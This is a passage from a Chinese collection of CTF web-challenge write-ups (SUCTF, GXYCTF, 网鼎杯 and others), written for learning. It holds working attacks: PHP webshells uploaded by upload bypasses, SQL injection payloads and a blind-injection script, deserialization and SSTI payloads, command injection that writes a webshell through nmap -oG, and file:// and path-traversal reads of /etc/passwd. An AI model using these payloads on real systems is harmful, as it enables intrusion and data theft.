            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  


$a = new Flag();
$a->file='flag.php';
echo serialize($a);
?>  

image-20210811095104603

7、最终payload

?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

image-20210811095209935

[SUCTF 2019]CheckIn

1、访问界面

image-20210811095618158

2、上传常规一句话木马,提示非法后缀,尝试绕过都未成功

image-20210811095836088

3、查看网站框架是nginx,上传.user.ini尝试

auto_prepend_file=test.jpg

image-20210811100552173

img

4、上传,需要修改类型image/jpeg,文件头GIF89a

image-20210811100754193

5、再次上传图片马test.jpg,提示&lt;? in contents!问题

image-20210811100938885

6、木马换成,上传成功

<script language='php'>eval($_POST['cmd']);</script>

image-20210811101122504

7、访问index.php文件,就会包含test.jpg内容

image-20210811102541039

8、在根目录下找到flag

image-20210811103226674

[极客大挑战 2019]HardSQL

1、访问界面

image-20210811112316648

2、在password 输入单引号,发现报错信息

image-20210811112516098

3、继续测试,发现and,union空格,#都被过滤,联合查询不能使用,这里使用报错注入

4、空格被过滤,这里使用括号进行绕过

用注释替换空格
select/**/user,password/**/from /**/users;

空格url编码%20

两个空格代替一个空格

用Tab代替空格

%a0=空格

如果空格被过滤,括号没有被过滤,可以用括号绕过
select(user())from dual where(1=1)and(2=2)

5、构造语句

admin'or(updatexml(1,concat(0x7e,0x7e,version(),0x7e,0x7e),1))%23

image-20210811134828208

6、爆取数据表H4rDsq1

admin%27or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23

image-20210811140738156

7、爆取列id,username,password

admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23

image-20210811140702181

8、爆取字段,发现只有一截flag

admin%27or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e),1))%23

image-20210811141055515

9、查询资料,这里可以使用right(),lift()进行查询

admin%27or(updatexml(1,concat(0x7e,(select(left(password,30))from(H4rDsq1)),0x7e),1))%23

image-20210811143337270

admin%27or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e),1))%23

image-20210811143310434

10、拼接起来

flag{fa9fcb5a-e6d8-4209-a9ac-265cc0a83351}

[CISCN2019 华北赛区 Day2 Web1]Hack World

1、访问界面,提示flagflag表里,列名是flag

image-20210811211238533

2、输入1,页面正常回显

image-20210811231215337

3、使用bp进行抓包,看看过滤了哪些,482长度为过滤函数,472正常回显

image-20210811231258521

4、因为页面没有数据库报错信息,这里就不能使用报错注入,使用盲注

5、题目以及给出表名与列名,直接爆取数据,构造payload,空格过滤了用括号绕过

1^(ascii(substr((select(flag)from(flag)),1,1))>10)

6、^为异或,简单来说11=0,相同为0,10=1,不同为1,所以(ascii(substr((select(flag)from(flag)),1,1))>10)条件成立为1

7、编写脚本

import requests
import time

url = 'http://6779a128-ef5b-4058-b750-dbe29cad3c1f.node4.buuoj.cn:81/index.php'
result = ''

for x in range(1, 50):
    high = 127
    low = 32
    mid = (low + high) // 2
    while high > low:
        payload = "0^(ascii(substr((select(flag)from(flag)),%d,1))>%d)" % (x, mid)
        data = {
            "id":payload
        }
        response = requests.post(url, data = data)
        if 'Hello' in response.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
        time.sleep(1)
    result += chr(int(mid))
    print(result)
    

image-20210812001723631

[网鼎杯 2020 青龙组]AreUSerialz

1、访问界面

image-20210812212402771

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

2、审计代码,需要我们通过反序列化获得flag

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

3、不过is_valid会判断传入进来的参数ascii码是否在32-125之间

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

image-20210813092931760

4、接下来我们定位到类里面,找寻我们可以利用输出flag的突破点

write中存在写入文件,思路写入一句话木马,进行连接

$res = file_put_contents($this->filename, $this->content);

read中把文件内容写入到变量,然后在输出出来,思路直接把flag.php文件内容读取出来

 $res = file_get_contents($this->filename);

5、read比较好实现,接着找如何满足条件,把flag文件输出出来,op=2就会执行read

 public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

6、我们得到思路,开始构建payload,protected表示受保护的,只有本类或子类或父类中可以访问,我们在序列化的时候会在前面加上\x00,转成ascii码为0,满足不了is_valid

<?php
class FileHandler{
    protected $op=2;
    protected $filename="flag.php";
}

$a = serialize(new FileHandler);
echo $a;
?>

image-20210813093631076

7、在php7.1以上版本,反序列化时对访问类别不敏感,所以我们在构造序列化的时候,把protected改成public 共有属性

image-20210813094937089

<?php
class FileHandler{
    public $op=2;
    public $filename="flag.php";
}


$a = serialize(new FileHandler);

echo $a;
?>

image-20210813094231038

8、传入str

?str=O:11:"FileHandler":2:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";}

image-20210813094323224

9、解法二

如果类型是S,会调用以下函数,简单来说就是将\解释成十六进制,来转成字符,可以用S:5:"\00*\00op"

static zend_string *unserialize_str(const unsigned char **p, size_t len, size_t maxlen)
{
	size_t i, j;
	zend_string *str = zend_string_safe_alloc(1, len, 0, 0);
	unsigned char *end = *(unsigned char **)p+maxlen;

	if (end < *p) {
		zend_string_efree(str);
		return NULL;
	}

	for (i = 0; i < len; i++) {
		if (*p >= end) {
			zend_string_efree(str);
			return NULL;
		}
		if (**p != '\\') {
			ZSTR_VAL(str)[i] = (char)**p;
		} else {
			unsigned char ch = 0;

			for (j = 0; j < 2; j++) {
				(*p)++;
				if (**p >= '0' && **p <= '9') {
					ch = (ch << 4) + (**p -'0');
				} else if (**p >= 'a' && **p <= 'f') {
					ch = (ch << 4) + (**p -'a'+10);
				} else if (**p >= 'A' && **p <= 'F') {
					ch = (ch << 4) + (**p -'A'+10);
				} else {
					zend_string_efree(str);
					return NULL;
				}
			}
			ZSTR_VAL(str)[i] = (char)ch;
		}
		(*p)++;
	}
	ZSTR_VAL(str)[i] = 0;
	ZSTR_LEN(str) = i;
	return str;
}

10、构造payload

<?php
class FileHandler{
    protected $op=2;
    protected $filename="flag.php";
}


$a = serialize(new FileHandler);
$a = str_replace(chr(0),'\00',$a);
$a = str_replace('s:','S:',$a);
echo $a;
?>

11、payload

O:11:"FileHandler":2:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";}

[GXYCTF2019]BabySQli

1、访问界面,是个登录框

image-20210813141700720

2、在用户名处输入单引号,页面发生报错,并且发现一段注释

image-20210813142135190

3、测试发现是base32与base64加密,解密

select * from user where username = '$name'

image-20210813142615909

4、接下来使用bp测试了下过滤了哪些字符

image-20210813143430452
5、发现长度为419的是被过滤的字符(,=,information_schema.tables等都被过滤掉了
6、这里试了很多方法都不行,学习网上解题思路
7、联合注入,表里有三列

1' Order by 3#

进行用联合注入,回显wrong user!,说明用户不在第一列

1' union select 1,2,3#

尝试将用户名放在第二列,回显wrong pass!,找到用户名在第二列

1' union select 1,'admin',3#

8、绕过密码的md5验证,需要把我们输入的值和数据库里面存放的用户密码的md5值进行比较,那要怎么绕过呢?可以用联合查询语句用来生成虚拟的表数据

首先可以看到该表只有一个用户

img

9、 然后我们可以用联合查询的方式将查询的数据插入到表中

10、 通过这样的方式,我们就可以用构造payload用户名输入(‘e10adc3949ba59abbe56e057f20f883e’是 123456的md5值),密码输入123456

1' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#

image-20210813145423150

11、后台代码,只查询name值,查询数据库里的passwd与我们传入passwd的md5值进行比较

$name = $_POST['name'];
$password = $_POST['pw'];
$sql = "select * from user where username = '".$name."'";   
// echo $sql;
$result = mysqli_query($con, $sql);      
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
	if(md5($password) == $arr[2]){
		echo $flag;
	}else{
			die("wrong pass!");
		}
}else{
		die("wrong user!");
	 }
}

[MRCTF2020]你传你🐎呢

1、访问界面

image-20210813150150154
2、先抓包上传常规webshell,上传失败

image-20210813151030778

3、上传图片是可以正常上传,看到组上传.htaccess看能不能成功,成功的话就可以解析图片

4、AddType application/x-httpd-php .jpg

image-20210813152538211
5、在构造上传一句话

<?php 
phpinfo();
@eval($_POST['cmd']);?>

image-20210813151520545

6、使用中国蚁剑进行连接

image-20210813152840777
7、在根目录下找到flag

image-20210813152954789

[MRCTF2020]Ez_bypass

1、访问界面

image-20210813154030206

2、右键查看源代码

I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}Please input first

image-20210813154112157

3、审计代码,存在5个判断,通过判断可获得flag.php

1、if(isset($_GET['gg'])&&isset($_GET['id'])) 
判断gg与id是否是空值

2、if (md5($id) === md5($gg) && $id !== $gg) 
gg与id进行强判断,可通过数组绕过

3、if(isset($_POST['passwd'])) 
判断是否post passwd值

4、if (!is_numeric($passwd))
判断是否是数字

5、if($passwd==1234567)
判断$passwd是否等于1234567,可通过字符绕过第四第五判断,字符串与数字进行比较,会把字符中的数字提取出来进行比较

6、构造payload,成功获得flag

gg[]=1&id[]=2

passwd=1234567a


image-20210813154701911

[网鼎杯 2018]Fakebook

1、访问界面,可以看到有两个功能,注册跟登陆

image-20210813171135740

2、先注册个账号
image-20210813171234466

3、注册后发现会把输入的blog地址显示到这里

image-20210813171331398

4、会以base64形式显示

image-20210813171448585

5、这里就猜测是否存在ssrf漏洞

6、删除cookie,重新注册账户,把blog修改为file:///etc/passwd,提示报错Blog is not valid.

image-20210813171609435

7、既然本地查看不行,试试远程查看,看是否能把命令外带出来,使用ceye

image-20210813171833167

8、这里虽然请求,但未把命令外带出来,这个方法没行通

image-20210813171921172

image-20210813172345148

9、看到url地址为no=2,我们通过更改1,2可以看到我创建的账号,猜测这里是与数据库进行交互,试着输入',页面报错,存在sql注入

image-20210813173229978

image-20210813173454452

10、测试列数order by

image-20210813174241316

11、接下来联合查询,提示hack

?nod=-1 union select 1,2,3,4 --+

image-20210813174734086
12、删除union select中间空格,发现没有hack,使用/**/绕过空格

image-20210813175022295

13、-1 union/**/select 1,2,3,4#,发现unserialize(),这里还存在反序列化
image-20210813175314005

-1%20union/**/select%201,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()%20--+
//爆取表

-1%20union/**/select%201,group_concat(column_name),3,4 from information_schema.columns where table_name='users'%20--+
//爆取列名

?no=-1%20union/**/select%201,group_concat(no,'-',username,'-',passwd,'-',data),3,4 from users%20--+
//爆取字段

image-20210813180100202

14、看到数据库,我们之前输入的格式变成序列化

O:8:"UserInfo":3:{s:4:"name";s:5:"test2";s:3:"age";i:18;s:4:"blog";s:20:"4qwm34.ceye.io/`pwd`";}

15、刚爆取字段的时候,data列为序列化内容,我们猜测他是第四列,把之前序列化内容,放到第四列,页面正常回显,跟我们正常访问的页面一样

?no=-1 union/**/select 1,group_concat(no,'-',username,'-',passwd,'-',data),3,'O:8:"UserInfo":3:{s:4:"name";s:5:"test2";s:3:"age";i:18;s:4:"blog";s:20:"4qwm34.ceye.io/`pwd`";}' from users --+

16、我们把s:20:"4qwm34.ceye.io/pwd",修改成,在右键查看源代码,进行base64解密,发现可以看到passwd文件,证明这个思路可以使用

s:18:"file:///etc/passwd"

image-20210813183601846
17、查看flag.php,base64解密后,得到flag

s:29:"file:///var/www/html/flag.php"
?no=-1 union/**/select 1,group_concat(no,'-',username,'-',passwd,'-',data),3,'O:8:"UserInfo":3:{s:4:"name";s:5:"test2";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' from users --+

image-20210813184251552

[GYCTF2020]Blacklist

1、访问界面

image-20210813234203585

2、输入单引号进行测试

image-20210813234235571

3、使用union 联合查询测试,发现过滤字符return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

image-20210813234520895

4、这里可以使用堆叠注入

inject=1';show tables;#

image-20210813235600102

5、黑名单禁用挺多,不能使用预编译绕过,使用handler绕过,mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。

handler users open as yunensec; #指定数据表进行载入并将返回句柄重命名
handler yunensec read first; #读取指定表/句柄的首行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
...
handler yunensec close; #关闭句柄

6、payload

handler FlagHere open;handler FlagHere read first;#

image-20210813235840171

[GXYCTF2019]BabyUpload

1、访问界面,是个上传点

image-20210814160057956

2、上传常规shell,提示后缀不能有ph

image-20210814160323776

3、尝试上传htaccess文件,提示类型错误

image-20210814160639669

4、修改类型image/jpeg,上传成功

image-20210814160730199

5、上传图片🐴

GIF89a
<script language='php'>eval($_POST['cmd']);</script>

image-20210814160918807

6、使用中国蚁剑进行连接,在根目录下找到flag

image-20210814161042609

[BUUCTF 2018]Online Tool

1、访问界面

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

image-20210814161730154

2、审计代码

这个在这里没用

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

了解下escapeshellarg,escapeshellcmd概念

escapeshellarg()将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含exec(),system()执行运算符。


escapeshellcmd()对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到exec()或system()函数,或者执行操作符之前进行转义。反斜线(\)会在以下字符之前插入:&#;`|*?~<>^()[]{}$\,\x0A和\xFF。'和"仅在不配对儿的时候被转义。  在 Windows 平台上,所有这些字符以及%和!字符都会被空格代替。
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);

生成目录,并改变目录

$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);

host传参进行nmap扫描

echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);

3、想着通过通配符进行绕过,但都被escapeshellcmd转义,查询nmap使用,存在一个参数-oG将扫描结果保存到文件

4、既然能保存文件,我们想构建一个一句话木马,进行远程连接

<?php @eval($_POST["hack"]);?>

5、我们在本地进行测试

<?php

$host = $_GET['host'];
$host = escapeshellarg($host);
var_dump($host);
$host = escapeshellcmd($host);
var_dump($host);
echo "nmap -T5 -sT -Pn --host-timeout 2 -F ".$host;

?>

image-20210814235831890

6、传入一句话木马,发现我们传入的参数被单引号引起来了,没办法达到目的,需要闭合掉单引号

7、在开头跟结尾加上单引号

'<?php @eval($_POST["hack"]);?> -oG hack.php'

结果变成,单引号都被闭合掉了

nmap -T5 -sT -Pn --host-timeout 2 -F ''\\''\<\?php @eval\(\$_POST\["hack"\]\)\;\?\> -oG hack.php'\\'''

8、虽然可以生成文件,但文件名是hack.php\\

image-20210815000416499

9、不符合条件,我们在最后面单引号加上空格,成功生成文件

'<?php @eval($_POST["hack"]);?> -oG hack.php '

image-20210815000635298

10、到题目里尝试,执行成功,并看到目录名称,加上目录路径访问hack.php,文件是存在的

image-20210815000721506

11、使用中国蚁剑进行连接,在根目录找到flag

image-20210815000850621

[RoarCTF 2019]Easy Java

1、访问界面

image-20210815141503931

2、页面有两个按钮,一个登陆一个help,访问helphelp页面是java

image-20210815144128685

3、修改请求类型为post,页面下载了help.docx文件

image-20210815144337787

image-20210815144354011

4、了解java网站目录结构

WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码

5、下载WEB-INF/web.xml,发现FlagController里存在Flag

filename=WEB-INF/web.xml

image-20210815144624029

7、下载FlagController

filename=WEB-INF/classes/com/wm/ctf/FlagController.class

8、放到编辑器内,反编译一下,得到base64加密,进行解密得到flag

image-20210815145239054

image-20210815145308658

[GXYCTF2019]禁止套娃

1、访问界面,右键源代码,只有个flag在哪里呢

image-20210815151409174

2、进行目录扫描,发现有.git目录

image-20210815153612735

3、使用githack,获得index.php源码

image-20210815153638735

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

4、审计代码

过滤了伪协议

if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {

正则匹配[a-z,_]+\((?R)?\),设定不能添加参数,只能为xxx();格式

if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) 

满足条件,执行eval

@eval($_GET['exp']);

5、无参数命令执行,可以看到flag.php在倒数第二个位置

scandir():返回指定目录中的文件和目录的数组。
pos($arr);  返回数组中的当前单元
localeconv(); 返回包含本地数字及货币信息格式的数组,而数组第一项就是.current() 返回数组中的当前单元, 默认取第一个值,current还可以换成其同名函数pos
print_r(scandir(pos(localeconv())));

image-20210815154349767

6、多刷新几次,就能看到flag

array_flip()
交换数组的键和值。

array_rand()
从数组中随机取出一个或多个单元,不断刷新访问就会不断随机返回

payload

?exp=highlight_file(array_rand(array_flip(scandir(pos(localeconv())))));

image-20210815154735995

[强网杯 2019]高明的黑客

1、访问界面,提示有备份文件www.tar.gz

image-20210815155138505

2、打开代码,发现一堆php文件,里面存在命令执行的函数

image-20210815172048785

3、编写脚本,这里从网上找寻大佬的脚本

import os
import threading
import requests
import re
import time

filePath = r"/Users/apple/Sites/localhost/src/"
os.chdir(filePath)
files = os.listdir(filePath)

thread_ = threading.Semaphore(100)
requests.adapters.DEFAULT_RETRIES = 5
session = requests.Session()
session.keep_alive = False

max_try = 20


def getContent(file):
    print(file + " is testing")
    thread_.acquire()
    with open(file, encoding='utf-8') as f:
        gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
        posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
    params = {}
    data = {}
    for g in gets:
        params[g] = "echo 'ppp_qqq';"
    for p in posts:
        data[p] = "echo 'ppp_qqq';"

    url = 'http://192.168.31.166/src/' + file
    req = session.post(url, data=data, params=params)
    req.encoding = 'utf-8'
    content = req.text
    req.close()

    if 'ppp_qqq' in content:
        flag = ''
        for g in gets:
            req = session.get(url + "?%s=echo 'ppp_qqq';" % g)
            content = req.text
            req.close()
            if 'ppp_qqq' in content:
                flag = g
                break
        if len(flag) != 0:
            for p in posts:
                req = session.post(url, data={p: "echo 'ppp_qqq';"})
                content = req.text
                req.close()
                if 'ppp_qqq' in content:
                    flag = p
                    break

        print('找到了利用文件:' + file + '  利用参数:' + flag)
    thread_.release()


if __name__ == '__main__':
    print("start")
    for file in files:
        time.sleep(0.02)  #加个延时
        t = threading.Thread(target=getContent, args=(file,))
        t.start()

4、找到可利用的点

image-20210815172147862

5、payload

xk0SzyKwfzw.php?Efa5BVG=cat /flag;

image-20210815172352612

[GWCTF 2019]我有一个数据库

1、访问界面

image-20210815221335815

2、扫描目录发现robots.txt

image-20210815221549031

3、在phpinfo中没发现什么可用信息

4、因为是数据库,就猜测是否有phpmyadmin,访问phpmyadmin

image-20210815223855643

5、确认phpmyadmin版本,版本为4.8.1

image-20210815225040746

6、查询到phpmyadminV4.8.1存在远程文件包含漏洞

7、payload

?target=db_sql.php%253f/../../../../../../../../../etc/passwd

image-20210815225332379

8、直接查询flag

?target=db_sql.php%253f/../../../../../../../../../flag

image-20210815225353111

[BJDCTF2020]The mystery of ip

1、访问界面

image-20210815230135474

2、在flag界面看到IP地址,在hint界面看到提示Do you know why i know your ip?

image-20210815230447134

3、修改xff头,页面也发生了改变

image-20210815230537945

4、在测试多次,{{1*2}},应该存在模板注入

image-20210815230613863

5、payload

{{system('cat /flag')}}

image-20210815230653481

[BJDCTF2020]ZJCTF,不过如此

1、访问界面

image-20210815231107969

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

2、审计代码

检测$text的值是否为I have a dream ,可通过php://input绕过

if(isset($text)&&(file_get_contents($text,'r')==="I have a dream"))

正则匹配flag

if(preg_match("/flag/",$file)){

通过include包含文件,提示next.php

 include($file);  //next.php

3、先查看next.php,得到base64码

?text=php://input&file=php://filter/convert.base64-encode/resource=next.php

image-20210815231606210

4、解密

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

5、preg_replace /e存在漏洞

$re 和 $str 用户可控,所以思路是构造一个 $re 匹配 $str 的同时,也让 $str 当做代码执行。
正则表达式 含义
. 匹配除换行符以外的任意字符
\s 匹配任意的空白符
\S 匹配任何非空白字符
+ 匹配前面的子表达式一次或多次

所以让 $re $str` 匹配很简单,payload 大概如下即可:

\S*=要执行的 PHP 代码

现在重点研究如何让 PHP 代码被执行吧,我们此时用的 payload 如下:

\S*={${phpinfo()}}

这里涉及到 PHP 可变变量的姿势,这边单独来说明记录一下。

可变变量是一种独特的变量,它允许动态改变一个变量名称。其工作原理是该变量的名称由另外一个变量的值来确定,实现过程就是在变量的前面再多加一个$

<?php
  $change_name = 'hello';
  $hello = 'Hello World'; 
  echo $$change_name; //echo $hello
?>

再看一下下面的例子:

<?php
  $a = 'hello';
  $$a = 'world'; //$hello=world
  echo "$a $hello";
  echo "$a ${$a}"; //$a $hello
?>

$a 的内容是 hello $hello 的内容是 world。上面代码他们都会输出:hello world。

最后输出的的值为:Hello World

6、构造payload

/next.php?\S*={${getFlag()}}&cmd=system('cat%20/flag');

image-20210815233751765

[BJDCTF2020]Mark loves cat

1、访问界面,在页面中没发现可用信息,只有最下面有个dog

image-20210816163724849

2、扫描目录,使用dirsearch

python dirsearch.py -u url -e db/dicc.txt --timeout=2 -t 1 -x 400,403,404,500,503,429

3、使用git泄露工具扫描

image-20210816164243504

4、得到flag.php,index.php,assets

index.php

<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}



echo "the flag is: ".$flag;

flag.php

<?php

$flag = file_get_contents('/flag');

5、审计代码

post的变成$x=y,比如传入a=1 ,变成$a=1

foreach($_POST as $x => $y){
    $$x = $y;
}

get变成$x=$y,比如传入a=1,变成$a=$1

foreach($_GET as $x => $y){
    $$x = $$y;
}

这里规定flag传参要等于flagflag键还不等于flag,利用不了

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if判断,不能get跟post请求flag,输出$yds

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if判断post get跟post请求flag,输出$is

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

6、这里可以看出存在变量覆盖

7、方法一,构造$yds = $flag,get请求传入yds,会变成$yds=$flag

yds=flag

image-20210816180821451

8、方法二,构造$is = $flag,get请求传入is,会变成$is=$flag,传入flag,变成$flag=$flag

is=flag&flag=flag

[安洵杯 2019]easy_web

1、访问界面,url img中存在加密

image-20210816203355778

2、进行两次base64解密,在进行十六进制转字符串,得到图片名称

image-20210816204154340

3、这里可以逆推出index.php源码

?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=

image-20210816205409623

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

4、审计代码

if判断对$cmd传参进行正则匹配,满足条件输出forbid,不能利用。不满足条件,进行php md5强类型比较

if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

5、构造payload,绕过md5强类型比较

